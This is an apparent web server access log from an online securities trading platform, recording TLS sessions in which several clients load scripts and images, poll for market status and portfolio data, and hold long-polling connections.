[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:10:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767926378835 HTTP/1.1" 3188
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926391411 HTTP/1.1" -
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1544
[09/Jan/2026:10:35:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926381553 HTTP/1.1" -
[09/Jan/2026:10:35:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926380551 HTTP/1.1" -
[09/Jan/2026:10:35:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926380056 HTTP/1.1" -
[09/Jan/2026:10:35:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926396430 HTTP/1.1" -
[09/Jan/2026:10:35:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926386604 HTTP/1.1" -
[09/Jan/2026:10:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926385590 HTTP/1.1" -
[09/Jan/2026:10:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926386047 HTTP/1.1" -
[09/Jan/2026:10:35:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926401461 HTTP/1.1" -
[09/Jan/2026:10:35:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926391649 HTTP/1.1" -
[09/Jan/2026:10:35:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926390619 HTTP/1.1" -
[09/Jan/2026:10:35:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926406518 HTTP/1.1" -
[09/Jan/2026:10:35:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926392046 HTTP/1.1" -
[09/Jan/2026:10:35:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:35:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926396789 HTTP/1.1" -
[09/Jan/2026:10:35:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926395645 HTTP/1.1" -
[09/Jan/2026:10:35:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926411587 HTTP/1.1" -
[09/Jan/2026:10:35:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926398046 HTTP/1.1" -
[09/Jan/2026:10:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:35:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
